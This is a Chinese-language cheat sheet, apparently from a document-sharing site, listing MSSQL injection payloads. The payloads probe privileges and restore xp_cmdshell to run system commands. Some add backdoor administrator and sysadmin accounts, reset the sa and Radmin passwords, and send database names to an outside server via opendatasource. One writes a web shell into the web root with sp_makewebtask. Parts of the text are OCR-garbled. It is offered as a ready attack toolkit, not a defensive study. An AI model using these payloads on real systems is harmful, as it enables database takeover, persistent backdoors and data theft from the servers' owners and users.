《黑客常用注入代码》由会员分享，可在线阅读，更多相关《黑客常用注入代码（6页珍藏版）》请在金锄头文库上搜索。
1、黑客常用的注入代码看看是什么权限的and 1 = (Select IS_MEMBER(db_owner)And char(124)%2BCast(IS_MEMBER(db_owne门 as varchar(1)%2Bchar(124) = 1 ;-检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS(master)And char(124)%2BCast(HAS_DBACCESS(master) as varchar(1)%2Bchar(124) = 1 -数字类型and char(124)%2Buser%2Bchar(124)=0字符类型and char(124
2、)%2Buser%2Bchar(124)=0 and =搜索类型and char(124)%2Buser%2Bchar(124)=0 and % = 爆用户名and user0and user0 and =检测是否为SA权限and 1 = (select IS_SRVROLEMEMBER(sysadmin);-And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1)%2Bchar(124) = 1 -检测是不是MSSQL数据库and exists (select * from
3、sysobjects);-检测是否支持多行;declare d int;-恢复 xp_cmdshell;exec master.dbo.sp_addextendedproc xp_cmdshellTxplog70.dll;-select * from openrowset(sqloledb,server=192.168.1.200,1433;uid二test;pwd二pafpa f,select version)/执行命令/首先开启沙盘模式：exec master.xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftJet4.0Eng in es,S
4、a ndBoxMode,REG_DWORD,1然后利用jet.oledb执行系统命令select * from openrowset(microsoft.jet.oledb.4.0,;database二c:winntsystem32iasias.mdb,select shell(cmd.exe /c net user admin admin1234 /add)执行命令;DECLARE shell INT EXEC SP_OAcreate wscript.shell,shell OUTPUT EXEC SP_O AMETHOD shell,run,null, C:WINNTsystem32cmd
5、.exe /c net user paf pafpaf / add;-EXEC . cmd /c md c:1111判断xp_cmdshell扩展存储过程是否存在:http:/192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.db o.sysobjects Where xtype = X AND name = xp_cmdshell)写注册表exec master.xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftJet4.0Eng in es,Sa ndBox
6、Mode,REG_DWORD,1REG_SZ读注册表exec master.xp_regread HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindows NTCurre ntVersio nWin log on ,Useri nit读取目录内容exec master.xp_dirtree c:winntsystem32,1,1数据库备份backup database pubs to disk = c:123.bak爆出长度And (Select char(124)%2BCast(Count as varchar(8000)%2Bchar(124) From D9
7、9_Tmp)=0 ;-更改sa 口令方法：用sql综合利用工具连接后，执行命令：exec sp_password NULL,新密码,sa添加和删除一个SA权限的用户test：exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句：exec sp_dropextendedproc xp_cmdshell添加扩展存储过过程EXEC .sp_addextendedproc xp_proxiedadata, c:winntsystem3
8、2sqllog.dllGRANT exec On xp_proxiedadata TO public停掉或激活某个服务。exec master.xp_servicecontrol stop,scheduleexec master.xp_servicecontrol start,scheduledbo.xp_subdirs只列某个目录下的子目录。xp_getfiledetails C:InetpubwwwrootSQLInjectlogin.aspdbo.xp_makecab将目标多个档案压缩到某个目标档案之内。所有要压缩的档案都可以接在参数列的最后方，以逗号隔开。dbo.xp_makecabc
9、:test.cab,mszip,1,C:I netpubwwwrootSQLInjectlogi n.asp,C:I netpubwwwrootSQLInjectsecurelogi n.aspxp_term in ate_process停掉某个执行中的程序，但赋予的参数是Process ID。利用”工作管理员”透过选单检视-选择字段勾选pid，就可以看到每个执行程序的Process IDxp_terminate_process 2484xp_unpackcab解开压缩档。xp_unpackcab c:test.cab,c:temp,1某机，安装了 radmin,密码被修改了，regedit.
10、exe不知道被删除了还是被改名了，net.exe 不存在，没有办法使用regedit /e导入注册文件，但是mssql是sa权限，使用如下命令EX EC master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SYSTEMRAdminv2.0ServerPa rameters,Parameter,REG_BINARY,0x02ba5e187e2589be6f80da0046aa7e3c 即可修改 密码为 12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite HKEY_LOCAL_MAC HINE,SYSTEMRAdminv2.0
11、ServerParameters,port,REG_BINARY,0xd20400 则端口 值改为1234 create database lcx;Create TABLE ku(name nvarchar(256) null);Create TABLE biao(id int NULL,name nvarchar(256) null);得到数据库名insert into opendatasource(sqloledb,server=211.39.145.163,1443;uid二test;pwd二paf paf;database=lcx).lcx.dbo.ku select name fro
12、m master.dbo.sysdatabases在Master中创建表，看看权限怎样Create TABLE master.D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);- 用sp_makewebtask直接在web目录里写入一句话马：http:/127.0.0.1/dblog in123.asp?user name=123;exec%20sp_makewebtask%20d:ww wtt88.asp,%20select%20%20;-更新表内容Update films SET kind = Dramatic Where id = 123删除内容delete from table_name where Stockid = 3（完）
